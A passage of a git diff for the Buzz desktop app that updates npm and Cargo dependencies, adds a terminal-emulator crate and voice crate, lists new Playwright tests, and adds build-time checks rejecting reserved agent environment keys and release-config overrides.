     "@emoji-mart/data": "^1.2.1",
     "@emoji-mart/react": "^1.1.1",
     "@fontsource-variable/inter": "^5.2.8",
+    "@fontsource/jetbrains-mono": "^5.3.0",
     "@mediapipe/tasks-vision": "^0.10.35",
     "@radix-ui/react-alert-dialog": "^1.1.15",
     "@radix-ui/react-avatar": "^1.1.11",
@@ -90,9 +91,11 @@
     "@tanstack/router-plugin": "^1.167.12",
     "@tanstack/virtual-file-routes": "^1.161.7",
     "@tauri-apps/cli": "~2.11",
+    "@testing-library/react": "^16.3.2",
     "@types/react": "^19.1.8",
     "@types/react-dom": "^19.1.6",
     "@vitejs/plugin-react": "^6.0.0",
+    "jsdom": "^27.4.0",
     "nostr-tools": "^2.23.3",
     "postcss": "^8.5.8",
     "tailwindcss": "^4.3.0",
diff --git a/desktop/playwright.config.ts b/desktop/playwright.config.ts
index 02baa043aa..11bdb03694 100644
--- a/desktop/playwright.config.ts
+++ b/desktop/playwright.config.ts
@@ -44,6 +44,7 @@ export default defineConfig({
         "**/channel-mute.spec.ts",
         "**/channel-star.spec.ts",
         "**/channel-controls.spec.ts",
+        "**/channel-activity-popover.spec.ts",
         "**/active-turn-resilience.spec.ts",
         "**/profile-active-turn.spec.ts",
         "**/config-bridge-screenshots.spec.ts",
@@ -52,6 +53,7 @@ export default defineConfig({
         "**/activity-scope-label-screenshots.spec.ts",
         "**/welcome-agent-modal-screenshots.spec.ts",
         "**/local-archive-screenshots.spec.ts",
+        "**/voice-settings.spec.ts",
         "**/agent-readiness-screenshots.spec.ts",
         "**/agent-error-state-screenshots.spec.ts",
         "**/edit-agent.spec.ts",
@@ -95,6 +97,7 @@ export default defineConfig({
         "**/live-broadcast-reply-timeline.spec.ts",
         "**/markdown-parse-cache.spec.ts",
         "**/overscroll-boundary.spec.ts",
+        "**/terminal-wheel.spec.ts",
         "**/cold-switch-longtask.perf.ts",
         "**/timeline-no-shift.spec.ts",
         "**/human-edit-agent-content.spec.ts",
@@ -102,9 +105,11 @@ export default defineConfig({
         "**/reaction-order.spec.ts",
         "**/reaction-names.spec.ts",
         "**/inbox-reactions.spec.ts",
+        "**/inbox-edit.spec.ts",
         "**/send-channel-binding.spec.ts",
         "**/project-commit-detail.spec.ts",
         "**/project-inbox.spec.ts",
+        "**/project-issue-comments.spec.ts",
         "**/project-pr-review.spec.ts",
         "**/persona-model-combobox-screenshots.spec.ts",
         "**/drafts-screenshots.spec.ts",
@@ -128,13 +133,17 @@ export default defineConfig({
         "**/agent-provider-dropdowns.spec.ts",
         "**/agent-lifecycle-feedback.spec.ts",
         "**/agent-access-warning.spec.ts",
+        "**/edit-agent-run-on.spec.ts",
         "**/inbox-live-update.spec.ts",
         "**/mesh-compute.spec.ts",
         "**/observer-archive-policy.spec.ts",
         "**/harness-management.spec.ts",
         "**/harness-catalog-screenshots.spec.ts",
         "**/inline-custom-harness.spec.ts",
+        "**/where-to-run-config.spec.ts",
         "**/huddle-transcription.spec.ts",
+        "**/agent-numeric-tuning.spec.ts",
+        "**/needs-restart-screenshots.spec.ts",
       ],
       use: {
         ...devices["Desktop Chrome"],
diff --git a/desktop/scripts/build-release-config.mjs b/desktop/scripts/build-release-config.mjs
index 389d18aec5..d1cd8181eb 100644
--- a/desktop/scripts/build-release-config.mjs
+++ b/desktop/scripts/build-release-config.mjs
@@ -52,6 +52,15 @@ const releaseConfig = {
   },
 };
 
+// Tauri applies --config after platform-specific config using RFC 7396.
+// Any externalBin value here would therefore replace the platform sidecar list,
+// while null would silently delete it. This delta must never own that key.
+if (Object.hasOwn(releaseConfig.bundle, "externalBin")) {
+  throw new Error(
+    "Release config must not define bundle.externalBin; sidecars are platform-specific",
+  );
+}
+
 console.log(`Updater enabled -> ${updaterEndpoint}`);
 
 writeFileSync(outputConfigPath, `${JSON.stringify(releaseConfig, null, 2)}\n`);
diff --git a/desktop/scripts/check-file-sizes.mjs b/desktop/scripts/check-file-sizes.mjs
index 326587b87f..bfe4fcc857 100644
--- a/desktop/scripts/check-file-sizes.mjs
+++ b/desktop/scripts/check-file-sizes.mjs
@@ -9,6 +9,14 @@ const MAX_LINES = 1000;
 
 const rules = [
   { root: "src-tauri/src", extensions: new Set([".rs"]), maxLines: MAX_LINES },
+  // Workspace member crates. Without this the ratchet's only Rust root is
+  // `src-tauri/src`, and a crate under `src-tauri/crates/` is born outside the
+  // repo's one size discipline -- silently, since the check still exits 0.
+  {
+    root: "src-tauri/crates",
+    extensions: new Set([".rs"]),
+    maxLines: MAX_LINES,
+  },
   {
     root: "src/app",
     extensions: new Set([".ts", ".tsx"]),
diff --git a/desktop/scripts/check-pubkey-truncation.mjs b/desktop/scripts/check-pubkey-truncation.mjs
index 95e56fb282..d65db13545 100644
--- a/desktop/scripts/check-pubkey-truncation.mjs
+++ b/desktop/scripts/check-pubkey-truncation.mjs
@@ -18,12 +18,10 @@ const rules = [
 // Non-display uses: array windows over pubkey lists, color/initials
 // derivation where the value is never presented as an identity.
 const overrides = new Set([
-  // ProfileAvatar fallback label — decorative glyphs inside an avatar disc.
-  "src/features/huddle/components/ParticipantList.tsx:92",
   // HexAvatar: 6-char badge + hue derivation inside a color-coded disc,
   // clearly decorative (paired with a full truncatePubkey aria-label).
-  "src/features/huddle/components/ParticipantList.tsx:143",
-  "src/features/huddle/components/ParticipantList.tsx:144",
+  "src/features/huddle/components/ParticipantList.tsx:150",
+  "src/features/huddle/components/ParticipantList.tsx:151",
   // clientId (not a pubkey) sliced in a debug log next to the real thing.
   "src/features/channels/readState/readStateManager.ts:338",
   // Array windows (first N pubkeys), not string truncation.
diff --git a/desktop/src-tauri/Cargo.lock b/desktop/src-tauri/Cargo.lock
index aca89d7ed7..fbaa547a03 100644
--- a/desktop/src-tauri/Cargo.lock
+++ b/desktop/src-tauri/Cargo.lock
@@ -98,6 +98,30 @@ dependencies = [
  "memchr",
 ]
 
+[[package]]
+name = "alacritty_terminal"
+version = "0.26.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bda177466b9524d59f1b12f0dd30b68696788e9992a7e959021c4a0ed96fcf59"
+dependencies = [
+ "base64 0.22.1",
+ "bitflags 2.13.0",
+ "home",
+ "libc",
+ "log",
+ "miow",
+ "parking_lot",
+ "piper",
+ "polling",
+ "regex-automata",
+ "rustix 1.1.4",
+ "rustix-openpty",
+ "signal-hook 0.4.4",
+ "unicode-width 0.2.2",
+ "vte 0.15.0",
+ "windows-sys 0.59.0",
+]
+
 [[package]]
 name = "alloc-no-stdlib"
 version = "2.0.4"
@@ -1036,7 +1060,7 @@ dependencies = [
 
 [[package]]
 name = "buzz-desktop"
-version = "0.5.2"
+version = "0.5.5"
 dependencies = [
  "anyhow",
  "arboard",
@@ -1044,11 +1068,14 @@ dependencies = [
  "audioadapter-buffers",
  "axum",
  "base64 0.22.1",
+ "block2",
  "buzz-agent",
  "buzz-core",
  "buzz-media",
  "buzz-persona",
  "buzz-sdk",
+ "buzz-terminal",
+ "buzz-voice",
  "bytes",
  "bzip2 0.6.1",
  "chrono",
@@ -1077,12 +1104,11 @@ dependencies = [
  "objc2",
  "objc2-app-kit",
  "objc2-foundation",
+ "objc2-user-notifications",
  "opus",
- "ort",
- "ort-sys",
  "plist",
  "png 0.18.1",
- "rand 0.10.2",
+ "portable-pty",
  "regex",
  "reqwest 0.13.4",
  "rodio",
@@ -1090,7 +1116,6 @@ dependencies = [
  "rusqlite",
  "rustls",
  "security-framework 3.7.0",
- "sentencepiece-model",
  "serde",
  "serde_json",
  "serde_yaml",
@@ -1109,8 +1134,8 @@ dependencies = [
  "tauri-plugin-single-instance",
  "tauri-plugin-updater",
  "tauri-plugin-window-state",
+ "tauri-utils",
  "tempfile",
- "tokenizers",
  "tokio",
  "tokio-tungstenite 0.29.0",
  "tokio-util",
@@ -1178,6 +1203,34 @@ dependencies = [
  "uuid",
 ]
 
+[[package]]
+name = "buzz-terminal"
+version = "0.1.0"
+dependencies = [
+ "alacritty_terminal",
+ "libc",
+ "parking_lot",
+ "portable-pty",
+]
+
+[[package]]
+name = "buzz-voice"
+version = "0.1.0"
+dependencies = [
+ "atomic-write-file",
+ "hex",
+ "ort",
+ "ort-sys",
+ "rand 0.10.2",
+ "sentencepiece-model",
+ "serde",
+ "serde_json",
+ "sha2 0.11.0",
+ "sherpa-onnx",
+ "symphonia",
+ "tokenizers",
+]
+
 [[package]]
 name = "by_address"
 version = "1.2.1"
@@ -1376,6 +1429,12 @@ version = "1.0.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
 
+[[package]]
+name = "cfg_aliases"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e"
+
 [[package]]
 name = "cfg_aliases"
 version = "0.2.1"
@@ -1868,7 +1927,7 @@ dependencies = [
  "mio",
  "parking_lot",
  "rustix 0.38.44",
- "signal-hook",
+ "signal-hook 0.3.18",
  "signal-hook-mio",
  "winapi",
 ]
@@ -1886,7 +1945,7 @@ dependencies = [
  "mio",
  "parking_lot",
  "rustix 1.1.4",
- "signal-hook",
+ "signal-hook 0.3.18",
  "signal-hook-mio",
  "winapi",
 ]
@@ -2053,6 +2112,12 @@ dependencies = [
  "cmov",
 ]
 
+[[package]]
+name = "cursor-icon"
+version = "1.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f27ae1dd37df86211c42e150270f82743308803d90a6f6e6651cd730d5e1732f"
+
 [[package]]
 name = "curve25519-dalek"
 version = "4.1.3"
@@ -2571,7 +2636,7 @@ dependencies = [
  "rustc_version",
  "toml 1.1.2+spec-1.1.0",
  "vswhom",
- "winreg",
+ "winreg 0.55.0",
 ]
 
 [[package]]
@@ -4250,7 +4315,7 @@ dependencies = [
  "backon",
  "blake3",
  "bytes",
- "cfg_aliases",
+ "cfg_aliases 0.2.1",
  "ctutils",
  "data-encoding",
  "derive_more",
@@ -4318,7 +4383,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "516e4eedc38e33ab69a6bd325520332dc3d67b25454e2d590ebb84a25240dd9a"
 dependencies = [
  "arc-swap",
- "cfg_aliases",
+ "cfg_aliases 0.2.1",
  "derive_more",
  "hickory-resolver",
  "iroh-base",
@@ -4370,7 +4435,7 @@ checksum = "8149bb6a57126225a07d6928846d82dcedfd24ea0f863ef7b2eb475e1d726354"
 dependencies = [
  "blake3",
  "bytes",
- "cfg_aliases",
+ "cfg_aliases 0.2.1",
  "data-encoding",
  "derive_more",
  "getrandom 0.4.3",
@@ -5571,6 +5636,15 @@ dependencies = [
  "windows-sys 0.61.2",
 ]
 
+[[package]]
+name = "miow"
+version = "0.6.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "536bfad37a309d62069485248eeaba1e8d9853aaf951caaeaed0585a95346f08"
+dependencies = [
+ "windows-sys 0.61.2",
+]
+
 [[package]]
 name = "model-artifact"
 version = "0.74.0"
@@ -5763,7 +5837,7 @@ version = "0.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e2ab99dfb861450e68853d34ae665243a88b8c493d01ba957321a1e9b2312bbe"
 dependencies = [
- "cfg_aliases",
+ "cfg_aliases 0.2.1",
  "derive_more",
  "futures-buffered",
  "futures-lite",
@@ -5953,7 +6027,7 @@ checksum = "4d9cbe01741347ef750d743d6690603f5eed8341e679fb51c8e629337aa11976"
 dependencies = [
  "atomic-waker",
  "bytes",
- "cfg_aliases",
+ "cfg_aliases 0.2.1",
  "derive_more",
  "ipnet",
  "js-sys",
@@ -5988,6 +6062,18 @@ version = "1.0.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086"
 
+[[package]]
+name = "nix"
+version = "0.28.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ab2156c4fce2f8df6c499cc1c763e4394b7482525bf2a9701c9d79d215f519e4"
+dependencies = [
+ "bitflags 2.13.0",
+ "cfg-if 1.0.4",
+ "cfg_aliases 0.1.1",
+ "libc",
+]
+
 [[package]]
 name = "nix"
 version = "0.29.0"
@@ -5996,7 +6082,7 @@ checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46"
 dependencies = [
  "bitflags 2.13.0",
  "cfg-if 1.0.4",
- "cfg_aliases",
+ "cfg_aliases 0.2.1",
  "libc",
  "memoffset",
 ]
@@ -6009,7 +6095,7 @@ checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
 dependencies = [
  "bitflags 2.13.0",
  "cfg-if 1.0.4",
- "cfg_aliases",
+ "cfg_aliases 0.2.1",
  "libc",
 ]
 
@@ -6021,7 +6107,7 @@ checksum = "cf20d2fde8ff38632c426f1165ed7436270b44f199fc55284c38276f9db47c3d"
 dependencies = [
  "bitflags 2.13.0",
  "cfg-if 1.0.4",
- "cfg_aliases",
+ "cfg_aliases 0.2.1",
  "libc",
 ]
 
@@ -6051,7 +6137,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "4bf95190af1bd4a00a10e8255ca0c8ddd9e9a9f5e79151d7a7eb6d56aff5dc89"
 dependencies = [
  "bytes",
- "cfg_aliases",
+ "cfg_aliases 0.2.1",
  "derive_more",
  "noq-proto",
  "noq-udp",
@@ -6099,7 +6185,7 @@ version = "1.0.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "3137a52df66c20090a889828d1c655f21f52294cba64e5c4fbb04fc83eee7c8e"
 dependencies = [
- "cfg_aliases",
+ "cfg_aliases 0.2.1",
  "libc",
  "socket2",
  "tracing",
@@ -6108,9 +6194,9 @@ dependencies = [
 
 [[package]]
 name = "nostr"
-version = "0.44.6"
+version = "0.44.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e826dd648489de2c5b293920e20b92932ef820302007c1987c758d4d06eeb2cf"
+checksum = "c7d3d987ea7078dc36947cde532637c472a229426702e4331dd7667325378bd9"
 dependencies = [
  "base64 0.22.1",
  "bech32",
@@ -6152,9 +6238,9 @@ dependencies = [
 
 [[package]]
 name = "nostr-relay-pool"
-version = "0.44.1"
+version = "0.44.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "91b2c039df4f96c4bf7dae52a74fd5516ad6dda83a11c0c69dea91b5255a4f37"
+checksum = "c85c54d6ca9aae4ae2bf19a7663ba9db5f45f783f1d24aff55f006386b8b99a1"
 dependencies = [
  "async-utility",
  "async-wsocket",
@@ -6637,6 +6723,8 @@ version = "0.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "9df9128cbbfef73cda168416ccf7f837b62737d748333bfe9ab71c245d76613e"
 dependencies = [
+ "bitflags 2.13.0",
+ "block2",
  "objc2",
  "objc2-foundation",
 ]
@@ -7411,6 +7499,27 @@ dependencies = [
  "portable-atomic",
 ]
 
+[[package]]
+name = "portable-pty"
+version = "0.9.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b4a596a2b3d2752d94f51fac2d4a96737b8705dddd311a32b9af47211f08671e"
+dependencies = [
+ "anyhow",
+ "bitflags 1.3.2",
+ "downcast-rs",
+ "filedescriptor",
+ "lazy_static",
+ "libc",
+ "log",
+ "nix 0.28.0",
+ "serial2",
+ "shared_library",
+ "shell-words",
+ "winapi",
+ "winreg 0.10.1",
+]
+
 [[package]]
 name = "portmapper"
 version = "0.19.1"
@@ -7866,7 +7975,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0c1a41e437b6bbd489372cd4971de128e85c855f56c57f283d20ff016cf7c0a8"
 dependencies = [
  "bytes",
- "cfg_aliases",
+ "cfg_aliases 0.2.1",
  "pin-project-lite",
  "quinn-proto",
  "quinn-udp",
@@ -7908,7 +8017,7 @@ version = "0.5.15"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "35a133f956daabe89a61a685c2649f13d82d5aa4bd5d12d1277e1072a21c0694"
 dependencies = [
- "cfg_aliases",
+ "cfg_aliases 0.2.1",
  "libc",
  "once_cell",
  "socket2",
@@ -8647,6 +8756,17 @@ dependencies = [
  "windows-sys 0.61.2",
 ]
 
+[[package]]
+name = "rustix-openpty"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1de16c7c59892b870a6336f185dc10943517f1327447096bbb7bb32cd85e2393"
+dependencies = [
+ "errno",
+ "libc",
+ "rustix 1.1.4",
+]
+
 [[package]]
 name = "rustls"
 version = "0.23.42"
@@ -9192,6 +9312,17 @@ dependencies = [
  "serde",
 ]
 
+[[package]]
+name = "serial2"
+version = "0.2.38"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b16809bc35793b19ce4e0c53924bc0dce3937f15487997cfdaed936004180730"
+dependencies = [
+ "cfg-if 1.0.4",
+ "libc",
+ "windows-sys 0.61.2",
+]
+
 [[package]]
 name = "serialize-to-javascript"
 version = "0.1.2"
@@ -9292,6 +9423,22 @@ dependencies = [
  "lazy_static",
 ]
 
+[[package]]
+name = "shared_library"
+version = "0.1.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5a9e7e0f2bfae24d8a5b5a66c5b257a83c7412304311512a0c054cd5e619da11"
+dependencies = [
+ "lazy_static",
+ "libc",
+]
+
+[[package]]
+name = "shell-words"
+version = "1.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "dc6fe69c597f9c37bfeeeeeb33da3530379845f10be461a66d16d03eca2ded77"
+
 [[package]]
 name = "shellexpand"
 version = "3.1.2"
@@ -9341,6 +9488,16 @@ dependencies = [
  "signal-hook-registry",
 ]
 
+[[package]]
+name = "signal-hook"
+version = "0.4.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b2a0c28ca5908dbdbcd52e6fdaa00358ab88637f8ab33e1f188dd510eb44b53d"
+dependencies = [
+ "libc",
+ "signal-hook-registry",
+]
+
 [[package]]
 name = "signal-hook-mio"
 version = "0.2.5"
@@ -9349,7 +9506,7 @@ checksum = "b75a19a7a740b25bc7944bdee6172368f988763b744e3d4dfe753f6b4ece40cc"
 dependencies = [
  "libc",
  "mio",
- "signal-hook",
+ "signal-hook 0.3.18",
 ]
 
 [[package]]
@@ -9705,7 +9862,7 @@ version = "0.2.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "2a8f8038e7e7969abb3f1b7c2a811225e9296da208539e0f79c5251d6cac0025"
 dependencies = [
- "vte",
+ "vte 0.14.1",
 ]
 
 [[package]]
@@ -9768,6 +9925,7 @@ dependencies = [
  "symphonia-bundle-flac",
  "symphonia-bundle-mp3",
  "symphonia-codec-aac",
+ "symphonia-codec-alac",
  "symphonia-codec-pcm",
  "symphonia-codec-vorbis",
  "symphonia-core",
@@ -9812,6 +9970,16 @@ dependencies = [
  "symphonia-core",
 ]
 
+[[package]]
+name = "symphonia-codec-alac"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8413fa754942ac16a73634c9dfd1500ed5c61430956b33728567f667fdd393ab"
+dependencies = [
+ "log",
+ "symphonia-core",
+]
+
 [[package]]
 name = "symphonia-codec-pcm"
 version = "0.5.5"
@@ -10556,7 +10724,7 @@ dependencies = [
  "bitflags 2.13.0",
  "parking_lot",
  "rustix 1.1.4",
- "signal-hook",
+ "signal-hook 0.3.18",
  "windows-sys 0.61.2",
 ]
 
@@ -10607,7 +10775,7 @@ dependencies = [
  "pest_derive",
  "phf 0.11.3",
  "sha2 0.10.9",
- "signal-hook",
+ "signal-hook 0.3.18",
  "siphasher",
  "terminfo",
  "termios",
@@ -11736,6 +11904,19 @@ dependencies = [
  "memchr",
 ]
 
+[[package]]
+name = "vte"
+version = "0.15.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a5924018406ce0063cd67f8e008104968b74b563ee1b85dde3ed1f7cb87d3dbd"
+dependencies = [
+ "arrayvec",
+ "bitflags 2.13.0",
+ "cursor-icon",
+ "log",
+ "memchr",
+]
+
 [[package]]
 name = "vtparse"
 version = "0.6.2"
@@ -12806,6 +12987,15 @@ dependencies = [
  "memchr",
 ]
 
+[[package]]
+name = "winreg"
+version = "0.10.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d"
+dependencies = [
+ "winapi",
+]
+
 [[package]]
 name = "winreg"
 version = "0.55.0"
diff --git a/desktop/src-tauri/Cargo.toml b/desktop/src-tauri/Cargo.toml
index 248eac107e..bbf245e29a 100644
--- a/desktop/src-tauri/Cargo.toml
+++ b/desktop/src-tauri/Cargo.toml
@@ -1,8 +1,13 @@
 [workspace]
+# Explicit: membership must NOT be inferred from the path-dependency edge below.
+# With a bare `[workspace]` and no `members`, `cargo test/check --workspace`
+# expands to a set that excludes this crate, and its gates pass green-and-empty
+# over a real defect. Verified: Sami Arm A/D, Dawn `.scratch/armA`.
+members = ["crates/buzz-terminal"]
 
 [package]
 name = "buzz-desktop"
-version = "0.5.2"
+version = "0.5.5"
 description = "Buzz desktop app"
 authors = ["you"]
 edition = "2021"
@@ -46,9 +51,11 @@ notify-rust = "4"
 webkit2gtk = { version = "=2.0.2", features = ["v2_22"] }
 
 [target.'cfg(target_os = "macos")'.dependencies]
+block2 = { version = "0.6", default-features = false, features = ["std"] }
 objc2 = { version = "0.6.4", default-features = false }
-objc2-app-kit = { version = "0.3.2", default-features = false, features = ["NSHapticFeedback", "NSMenu", "NSMenuItem", "NSStatusItem"] }
-objc2-foundation = { version = "0.3.2", default-features = false, features = ["NSProcessInfo", "NSString"] }
+objc2-app-kit = { version = "0.3.2", default-features = false, features = ["NSEvent", "NSHapticFeedback", "NSMenu", "NSMenuItem", "NSStatusItem", "block2"] }
+objc2-foundation = { version = "0.3.2", default-features = false, features = ["NSDictionary", "NSError", "NSBundle", "NSObject", "NSProcessInfo", "NSString"] }
+objc2-user-notifications = { version = "0.3.2", default-features = false, features = ["block2", "UNNotification", "UNNotificationContent", "UNNotificationRequest", "UNNotificationResponse", "UNNotificationSettings", "UNNotificationTrigger", "UNUserNotificationCenter"] }
 keyring = { version = "3.6.3", default-features = false, features = ["apple-native", "vendored"], optional = true }
 security-framework = { version = "3.7.0", features = ["OSX_10_15"] }
 window-vibrancy = "0.6"
@@ -82,9 +89,6 @@ bytes = "1"
 futures-util = "0.3"
 opus = "0.3"
 neteq = { version = "0.8", default-features = false }
-ort = { version = "=2.0.0-rc.12", default-features = false, features = ["api-24", "ndarray", "std"] }
-ort-sys = { version = "=2.0.0-rc.12", features = ["disable-linking"] }
-rand = "0.10"
 serde = { version = "1", features = ["derive"] }
 serde_json = "1"
 serde_yaml = "0.9"
@@ -101,6 +105,9 @@ buzz_core_pkg = { package = "buzz-core", path = "../../crates/buzz-core" }
 buzz_persona_pkg = { package = "buzz-persona", path = "../../crates/buzz-persona" }
 buzz_sdk_pkg = { package = "buzz-sdk", path = "../../crates/buzz-sdk" }
 buzz_agent_pkg = { package = "buzz-agent", path = "../../crates/buzz-agent" }
+buzz_voice_pkg = { package = "buzz-voice", path = "../../crates/buzz-voice" }
+buzz_terminal = { package = "buzz-terminal", path = "crates/buzz-terminal" }
+portable-pty = "0.9"
 iroh = { version = "1.0.2", optional = true }
 mesh-llm-sdk = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-sdk", default-features = false, features = ["client", "serving"], optional = true }
 mesh-llm-host-runtime = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-host-runtime", default-features = false, features = ["dynamic-native-runtime"], optional = true }
@@ -128,7 +135,6 @@ image = { version = "0.25", default-features = false, features = ["jpeg", "png",
 zip = "8"
 flate2 = "1"
 sherpa-onnx = "1.12"
-sentencepiece-model = "0.1"
 regex = "1"
 rusqlite = { version = "0.37", features = ["bundled"] }
 axum = "0.8"
@@ -139,9 +145,9 @@ audioadapter-buffers = "3.0"
 tempfile = "3"
 strip-ansi-escapes = "0.2"
 tracing = "0.1"
-tokenizers = { version = "0.22", default-features = false, features = ["fancy-regex"] }
 
 [dev-dependencies]
+tauri-utils = "2"
 # `test-util` enables tokio's paused-clock (`start_paused`) so the relay
 # admission gate tests can assert exact wait durations without real sleeps.
 tokio = { version = "1", features = ["test-util"] }
diff --git a/desktop/src-tauri/assets/card_template.png b/desktop/src-tauri/assets/card_template.png
new file mode 100644
index 0000000000..2225d1d442
Binary files /dev/null and b/desktop/src-tauri/assets/card_template.png differ
diff --git a/desktop/src-tauri/build.rs b/desktop/src-tauri/build.rs
index 0fb3747718..2cdd785c73 100644
--- a/desktop/src-tauri/build.rs
+++ b/desktop/src-tauri/build.rs
@@ -1,6 +1,9 @@
 // Shared schema, included from the same source the runtime command parses with,
 // so the build-time validation below and the runtime parse cannot drift.
 include!("src/commands/reconnect_hook_config.rs");
+// Same source of truth the runtime filters with, so a baked build env cannot
+// carry a reserved key the runtime believes it already rejected.
+include!("src/managed_agents/reserved_env_keys.rs");
 
 use base64::Engine as _;
 
@@ -13,11 +16,16 @@ fn main() {
     println!("cargo:rerun-if-env-changed=BUZZ_BUILD_BUZZ_AGENT_MODEL");
     println!("cargo:rerun-if-env-changed=BUZZ_BUILD_AGENT_ENV");
     println!("cargo:rerun-if-env-changed=BUZZ_BUILD_RELAY_RECONNECT_CMD");
-    println!("cargo:rerun-if-env-changed=BUZZ_BUILD_OBSERVER_ARCHIVE_DEFAULT");
-    println!("cargo:rerun-if-env-changed=BUZZ_BUILD_AGENT_METRIC_ARCHIVE_DEFAULT");
+    println!("cargo:rerun-if-env-changed=BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY");
     println!("cargo:rerun-if-env-changed=BUZZ_BUILD_AUTO_CONNECT_DEFAULT_RELAY");
     println!("cargo:rustc-check-cfg=cfg(buzz_updater_enabled)");
 
+    // Explicit owner-only agent-access capability. Release packaging sets this
+    // presence-only marker; OSS/custom builds leave agent access configurable.
+    if std::env::var("BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY").is_ok() {
+        println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_AGENT_ACCESS_OWNER_ONLY=1");
+    }
+
     if let Ok(relay_url) = std::env::var("BUZZ_RELAY_URL") {
         println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_RELAY_URL={relay_url}");
     }
@@ -61,6 +69,20 @@ fn main() {
                     line
                 );
             }
+            // The baked env is written into every spawned agent's environment
+            // LAST (see `managed_agents/runtime.rs`), after Buzz sets the
+            // access gates and identity vars. A baked reserved key would
+            // therefore silently override the gate the UI promises, so reject
+            // it at build time instead of shipping a binary that bypasses its
+            // own enforcement.
+            if is_reserved_env_key(key) {
+                panic!(
+                    "BUZZ_BUILD_AGENT_ENV line {}: `{}` is reserved by Buzz and cannot be baked \
+                     into a build (it would override Buzz's own identity/access env)",
+                    line_no + 1,
+                    key
+                );
+            }
         }
         let encoded = base64::engine::general_purpose::STANDARD.encode(raw.as_bytes());
         println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_AGENT_ENV={encoded}");
@@ -75,21 +97,6 @@ fn main() {
         println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_RELAY_RECONNECT_CMD={val}");
     }
 
-    // Presence-only flag: when set (any non-empty value), observer-feed archive
-    // defaults to ON for the current identity on first run.  OSS builds leave
-    // this unset → default OFF.  No JSON validation needed — the command only
-    // checks `.is_some()`.
-    if std::env::var("BUZZ_BUILD_OBSERVER_ARCHIVE_DEFAULT").is_ok() {
-        println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_OBSERVER_ARCHIVE_DEFAULT=1");
-    }
-
-    // Presence-only flag: when set (any non-empty value), agent-turn-metric
-    // archive defaults to ON for the current identity on first run.  OSS builds
-    // leave this unset → default OFF.
-    if std::env::var("BUZZ_BUILD_AGENT_METRIC_ARCHIVE_DEFAULT").is_ok() {
-        println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_AGENT_METRIC_ARCHIVE_DEFAULT=1");
-    }
-
     // Presence-only release capability: internal desktop builds opt into
     // auto-connecting their configured default relay on first run. OSS builds
     // leave this unset and retain explicit community selection.
diff --git a/desktop/src-tauri/capabilities/default.json b/desktop/src-tauri/capabilities/default.json
index 8835b29dec..a2e09bcb33 100644
--- a/desktop/src-tauri/capabilities/default.json
+++ b/desktop/src-tauri/capabilities/default.json
@@ -1,8 +1,8 @@
 {
   "$schema": "../gen/schemas/desktop-schema.json",
   "identifier": "default",
-  "description": "Capability for the main window",
-  "windows": ["main"],
+  "description": "Capability for the main window and trusted huddle companions",
+  "windows": ["main", "huddle-*"],
   "permissions": [
     "core:default",
     "core:webview:allow-set-webview-zoom",
diff --git a/desktop/src-tauri/crates/buzz-terminal/Cargo.toml b/desktop/src-tauri/crates/buzz-terminal/Cargo.toml
new file mode 100644
index 0000000000..070fda80a6
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/Cargo.toml
@@ -0,0 +1,18 @@
+[package]
+name = "buzz-terminal"
+version = "0.1.0"
+edition = "2021"
+license = "Apache-2.0"
+
+[dependencies]
+alacritty_terminal = { version = "0.26.0", default-features = false }
+parking_lot = "0.12"
+portable-pty = "0.9"
+
+[target.'cfg(unix)'.dependencies]
+libc = "0.2"
+
+[dev-dependencies]
+# Tests reach into the grid to prove content survived a frame.
+alacritty_terminal = { version = "0.26.0", default-features = false }
+parking_lot = "0.12"
